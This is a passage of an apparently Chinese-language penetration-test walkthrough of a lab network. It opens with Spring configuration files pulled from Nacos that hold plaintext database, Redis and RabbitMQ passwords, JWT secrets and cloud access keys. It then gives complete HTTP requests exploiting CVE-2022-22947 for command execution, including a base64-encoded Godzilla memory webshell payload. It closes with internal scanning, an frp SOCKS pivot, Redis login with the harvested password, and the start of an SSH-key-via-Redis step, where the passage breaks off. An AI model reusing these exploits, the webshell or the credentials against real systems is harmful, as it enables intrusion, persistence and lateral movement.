server: port: 8300 servlet: context-path: /domain mybatis: # 搜索指定包别名 typeAliasesPackage: com.domain.**.domain # 配置mapper的扫描,找到所有的mapper.xml映射文件 mapperLocations: classpath*:mapper/*Mapper.xml # 加载全局的配置文件 configLocation: classpath:mybatis/mybatis-config.xml
#配置数据源spring: datasource: url: jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%!
main: allow-bean-definition-overriding: true
redis: #数据库索引 database: 0 host: 127.0.0.1 port: 6379 password: nbsg@123456 #连接超时时间 timeout: 50000 #jwtjwt: header: Authorization # 令牌前缀 token-start-with: Bearer # 必须使用最少88位的Base64对该令牌进行编码 base64-secret: ZmQ0ZGI5NjQ0MDQwY2I4MjMxY2Y3ZmI3MjdhN2ZmMjNhODViOTg1ZGE0NTBjMGM4NDA5NzYxMjdjOWMwYWRmZTBlZjlhNGY3ZTg4Y2U3YTE1ODVkZDU5Y2Y3OGYwZWE1NzUzNWQ2YjFjZDc0NGMxZWU2MmQ3MjY1NzJmNTE0MzI= # 令牌过期时间 此处单位/毫秒 ,默认4小时,可在此网站生成 https://www.convertworld.com/zh-hans/time/milliseconds.html token-validity-in-seconds: 14400000 # 在线用户key online-key: online-token # 验证码 code-key: code-key
# 文件存储路径file: mac: path: ~/file/ avatar: ~/avatar/ linux: path: /home/admin/file/ avatar: /home/admin/avatar/ windows: path: C:\admin\file\ avatar: C:\admin\avatar\ # 文件大小 /M maxSize: 100 avatarMaxSize: 5
#登录图形验证码有效时间/分钟loginCode: expiration: 2
# sm.ms 图床的 tokensmms: token: 1oOP3ykFDI0K6ifmtvU7c8Y1eTWZSlyl
task: pool: # 核心线程池大小 core-pool-size: 10 # 最大线程数 max-pool-size: 30 # 活跃时间 keep-alive-seconds: 60 # 队列容量 queue-capacity: 50
admin-api-bb
# 项目相关配置admin-api: # access_key_id 你的亚马逊S3服务器访问密钥ID accessKey: AAKIAWTRDCOOZNINALPHDWN # secret_key 你的亚马逊S3服务器访问密钥 secretKey: 2DAwi7yntlLnmOQvCYAAGITNloeZQlfLUSOzvW96s5c # bucketname 你的亚马逊S3服务器创建的桶名 bucketName: kefu-test-env # bucketname 你的亚马逊S3服务器创建的桶名 regionsName: ap-east-1 # questionPicture 问题类型图片上传文件夹名称 questionPicture: questionFolder # chatPicture 聊天图片上传文件夹名称 chatPicture: chatFolder # 获取ip地址开关 addressEnabled: true # 中后台的地址 url: http://127.0.0.1 # 中后台API地址 seektopserUrl: http://127.0.0.1/api/partner/user/info/base # 中后台API请求APPID seektopAppId: A9AA30D1D30F4597B83C054B3EAD770D # 中后台API请求密钥 seektopSecretKey: yT2BivSJLCR4lHb8hNFmHSF12pBm+a4IfdF42/a1quQdu5wqznM7YA== # 客服关闭会话配置时间 closeChannelTime: 3 # redis-task服务请求地址 redisTaskUrl: http://localhost:8586 # SEO 代理帳號 seoAgentName: im: server: url: http://localhost:9507/ secret: ^look^
server: port: 8500 servlet: context-path: /api
#配置数据源spring: datasource: druid: url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%!
main: allow-bean-definition-overriding: true
jpa: hibernate: # 生产环境设置成 none,避免程序运行时自动更新数据库结构 ddl-auto: none
redis: #数据库索引 database: 0 host: 127.0.0.1 port: 6379 password: nbsg@123456 #连接超时时间 timeout: 50000
elasticsearch: nodes: es.localhost:9200
# 多数据源配置gt: root: boot: #主动开启多数据源 multiDatasourceOpen: true datasource[0]: dbName: slave url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%!
#jwtjwt: header: Authorization # 令牌前缀 token-start-with: Bearer # 必须使用最少88位的Base64对该令牌进行编码 base64-secret: ZmQ0ZGI5NjQ0MDQwY2I4MjMxY2Y3ZmI3MjdhN2ZmMjNhODViOTg1ZGE0NTBjMGM4NDA5NzYxMjdjOWMwYWRmZTBlZjlhNGY3ZTg4Y2U3YTE1ODVkZDU5Y2Y3OGYwZWE1NzUzNWQ2YjFjZDc0NGMxZWU2MmQ3MjY1NzJmNTE0MzI= # 令牌过期时间 此处单位/毫秒 ,默认4小时,可在此网站生成 https://www.convertworld.com/zh-hans/time/milliseconds.html token-validity-in-seconds: 14400000 # 在线用户key online-key: online-token # 验证码 code-key: code-key
#是否允许生成代码,生产环境设置为falsegenerator: enabled: false
#是否开启 swagger-uiswagger: enabled: true
# 文件存储路径file: mac: path: ~/file/ avatar: ~/avatar/ linux: path: /home/admin/file/ avatar: /home/admin/avatar/ windows: path: C:\admin\file\ avatar: C:\admin\avatar\ # 文件大小 /M maxSize: 100 avatarMaxSize: 5
#七牛云qiniu: # 文件大小 /M max-size: 15
#邮箱验证码有效时间/分钟code: expiration: 5
#登录图形验证码有效时间/分钟loginCode: expiration: 2
# sm.ms 图床的 tokensmms: token: 1oOP3ykFDI0K6ifmtvU7c8Y1eTWZSlyl
task: pool: # 核心线程池大小 core-pool-size: 10 # 最大线程数 max-pool-size: 30 # 活跃时间 keep-alive-seconds: 60 # 队列容量 queue-capacity: 50
redis-task
server: port: 8586
api: task: url: http://127.0.0.1/api/office/taskHandle
knife4j: redis: host: 0.0.0.0 password: nbsg@123456 port: 6379 databases: 0,1,2,3,4,5,6,7 timeout: 60000
logging: config: classpath:logback.xml
xxl: job: admin: addresses: http://127.0.0.1:8998/xxl-job-admin accessToken: X336qlhSuYz2Nshk executor: appname: redis-task address: ip: port: 5599 logpath: /data/logs/xxl-job/redis-task logretentiondays: 5
app: mq: delay: queue: bb_DELAY_QUEUE exchange: bb_delay_exchange
spring: rabbitmq: host: 127.0.0.1 port: 5672 username: admin password: global2018# virtualHost: /
从以上这些配置文件中得到一些密码,还有一些key(本次环境没有用到,就不写了,实战中可以用对应云的连接工具试试)
Pabc@234%!nbsg@123456root_pwd
从配置中看出是mysql和redis相关的账密,不过nacos这台主机没有扫描到开放对应的端口,nacos的收集就到此结束,没有有用的信息了。
2.2 springboot未授权
未授权地址:
http://192.168.100.50:8800/actuator/env
这是springboot的环境变量
还有其他的就不一一列举了
/actuator/configprops # 显示所有@ConfigurationProperties/actuator/env # 公开 Spring 的ConfigurableEnvironment/actuator/health # 显示应用程序运行状况信息/actuator/httptrace # 显示 HTTP 跟踪信息/actuator/metrics # 显示当前应用程序的监控指标信息。/actuator/mappings # 显示所有@RequestMapping路径的整理列表/actuator/threaddump # 线程转储/actuator/heapdump # 堆转储/actuator/jolokia # JMX-HTTP桥,它提供了一种访问JMX beans的替代方法
2.3 Spring-Cloud-CVE-2022-22947
漏洞利用exp如下:
先创建一个路由,返回201表示创建成功
POST /actuator/gateway/routes/bolean HTTP/1.1Host:192.168.100.50:8800Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329
{ "id": "bolean", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com"}
使用hackbar发包
刷新路由
POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.100.50:8800Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
访问路由:
http://192.168.100.50:8800/actuator/gateway/routes/bolean
成功命令执行,接下来就是写shell了
写哥斯拉马的payload
POST /actuator/gateway/routes/bolean1 HTTP/1.1Host: 192.168.100.50:8800Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 10956
{ "id": "bolean1", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('ms.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBeAoADQC2BwC3CgACALYJABIAuAoAAgC5CQASALoKAAIAuwoAEgC8CQASAL0KAA0AvggAcgcAvwcAwAcAwQcAwgoADADDCgAOAMQHAMUIAJ8HAMYHAMcKAA8AyAsAyQDKCgASALYKAA4AywgAzAcAzQoAGwDOCADPBwDQBwDRCgDSANMKANIA1AoAHgDVBwDWCACBBwCECQDXANgKANcA2QgA2goA2wDcBwDdCgAVAN4KACoA3woA2wDgCgDbAOEIAOIKAOMA5AoAFQDlCgDjAOYHAOcKAOMA6AoAMwDpCgAzAOoKABUA6wgA7AoADADtCADuCgAMAO8IAPAIAPEKAAwA8ggA8wgA9AgA9QgA9ggA9wsAFAD4EgAAAP4KAP8BAAcBAQkBAgEDCgBHAQQKABsBBQsBBgEHCgASAQgKABIBCQkAEgEKCAELCwEMAQ0KABIBDgsBDAEPCAEQBwERCgBUALYKAA0BEgoAFQETCgANALsKAFQBFAoAEgEVCgAVARYKAP8BFwcBGAoAXQC2CABlCAEZAQAFc3RvcmUBAA9MamF2YS91dGlsL01hcDsBAAlTaWduYXR1cmUBADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEABHBhc3MBABJMamF2YS9sYW5nL1N0cmluZzsBAANtZDUBAAJ4YwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAOTG1zL0dNZW1TaGVsbDsBAAhkb0luamVjdAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVcmVnaXN0ZXJIYW5kbGVyTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAANtc2cBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEcGF0aAEADVN0YWNrTWFwVGFibGUHAM0HAMcBABBNZXRob2RQYXJhbWV0ZXJzAQALZGVmaW5lQ2xhc3MBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAApjbGFzc2J5dGVzAQACW0IBAA51cmxDbGFzc0xvYWRlcgEAGUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAZtZXRob2QBAApFeGNlcHRpb25zAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQABcwEAAW0BAAFaBwDFBwEaAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAB1MamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEAA3JldAEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAJicwEABXZhbHVlAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAANjbWQBAF0oTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eTsBAAxidWZmZXJTdHJlYW0BAAJleAEABXBkYXRhAQAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTsBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA1TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9Qb3N0TWFwcGluZzsBAAQvY21kAQANbGFtYmRhJGNtZCQxMQEARyhMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7KUxyZWFjdG9yL2NvcmUvcHVibGlzaGVyL01vbm87AQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAWYBAAJpZAEABGRhdGEBAChMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7AQAGcmVzdWx0AQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwcAtwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEADkdNZW1TaGVsbC5qYXZhDABpAGoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAZQBmDAEbARwMAGgAZgwBHQEeDABnAJIMAGcAZgwBHwEgAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAEhASIMASMBJAEADG1zL0dNZW1TaGVsbAEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZQEAEGphdmEvbGFuZy9TdHJpbmcMASUBKAcBKQwBKgErDAEsAS0BAAJvawEAE2phdmEvbGFuZy9FeGNlcHRpb24MAS4AagEABWVycm9yAQAXamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXIBAAxqYXZhL25ldC9VUkwHAS8MATABMQwBMgEzDABpATQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHATUMATYAmQwBNwE4AQADQUVTBwEaDAE5AToBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDAE7ATwMAGkBPQwBPgE/DAFAAUEBAANNRDUHAUIMATkBQwwBRAFFDAFGAUcBABRqYXZhL21hdGgvQmlnSW50ZWdlcgwBSAE8DABpAUkMAR0BSgwBSwEeAQAQamF2YS51dGlsLkJhc2U2NAwBTAFNAQAKZ2V0RW5jb2RlcgwBTgEiAQAOZW5jb2RlVG9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAFPAVABAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBUQFSAQAQQm9vdHN0cmFwTWV0aG9kcw8GAVMQAVQPBwFVEACpDAFWAVcHAVgMAVkBWgEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcBWwwBXAFdDABpAV4MAV8BHgcBYAwBYQFUDACcAJ0MAIkAigwAYQBiAQAHcGF5bG9hZAcBYgwBYwFUDACBAIIMAWQBZQEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBZgFnDAFoAWkMAWoBPAwAlQCWDAFoAUoMAWsBbAEAEWphdmEvdXRpbC9IYXNoTWFwAQAQM2M2ZTBiOGE5YzE1MjI0YQEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAVwYXRocwEAB0J1aWxkZXIBAAxJbm5lckNsYXNzZXMBAGAoW0xqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAElvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAFYnVpbGQBAEUoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2dldEZvcm1EYXRhAQAfKClMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwoBbQFuAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsKABIBbwEABWFwcGx5AQAtKExtcy9HTWVtU2hlbGw7KUxqYXZhL3V0aWwvZnVuY3Rpb24vRnVuY3Rpb247AQAbcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vAQAHZmxhdE1hcAEAPChMamF2YS91dGlsL2Z1bmN0aW9uL0Z1bmN0aW9uOylMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgEACmdldE1lc3NhZ2UBACZvcmcvc3ByaW5nZnJhbWV3b3JrL3V0aWwvTXVsdGlWYWx1ZU1hcAEACGdldEZpcnN0AQANamF2YS91dGlsL01hcAEAA2dldAEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAEanVzdAEAMShMamF2YS9sYW5nL09iamVjdDspTHJlYWN0b3IvY29yZS9wdWJsaXNoZXIvTW9ubzsHAXAMAXEBdAwAqACpAQAiamF2YS9sYW5nL2ludm9rZS9MYW1iZGFNZXRhZmFjdG9yeQEAC21ldGFmYWN0b3J5BwF2AQAGTG9va3VwAQDMKExqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZFR5cGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTspTGphdmEvbGFuZy9pbnZva2UvQ2FsbFNpdGU7BwF3AQAlamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGVzJExvb2t1cAEAHmphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcwAhABIADQAAAAQACQBhAGIAAQBjAAAAAgBkAAkAZQBmAAAACQBnAGYAAAAJAGgAZgAAAAoAAQBpAGoAAQBrAAAALwABAAEAAAAFKrcAAbEAAAACAGwAAAAGAAEAAAAWAG0AAAAMAAEAAAAFAG4AbwAAAAkAcABxAAIAawAAAUgABwAG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'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/nnmm')}" } }], "uri": "http://example.com"}
刷新路由:
http://192.168.100.50:8800/actuator/gateway/refresh
接着使用哥斯拉连接,默认密码,连接地址:
http://192.168.100.50:8800/nnmm
连接成功
2.4 内网信息搜集
哥斯拉连接上之后,发现还存在内网,再次上传fscan扫描其内网C段(192.168.88.1/24),如果哥斯拉上传较慢的话,可以在xxl-job这台机器上起一个python服务,wget下载也行。
fscan扫描结果中发现在192.168.88.1的C段还有另一台机子192.168.88.70开放了6379,这个是redis默认开放的端口
192.168.88.60:22 open192.168.88.70:22 open192.168.88.1:135 open192.168.88.1:139 open192.168.88.1:445 open192.168.88.70:6379 open192.168.88.1:7680 open192.168.88.60:8800 open192.168.88.60:8848 open
从nacos的配置文件中得到过一些账密,文件里面也写得有redis的配置,继续二层代理,尝试连接redis。
2.5 frp二层代理
将frpc客户端的文件上传到nacos的机器上
frpc.ini配置为
[common]server_addr = 192.168.100.20server_port = 7777
[socks_proxy]type = tcplocal_port = 1090 remote_port =1090 plugin = socks5
xxl-job上传frps服务端,修改好服务端的IP或者直接删除就好
root@4:/home/bolean/xxl-jar# cat frps.ini [common]bind_port = 7777
这里我的frpc不知道是版本还是什么原因,还需要去第一层将frp给关掉,然后修改掉frpc.ini的配置,将最后的socks5个注释掉,重新运行frpc
代理之后可以使用账密成功登录redis
proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456"
3.1 redis写ssh公钥
redis登录成功后,尝试写ssh的公钥到主机中,具体命令如下:
现在本机上生成密钥对:ssh-keygen -t rsa -b 2048
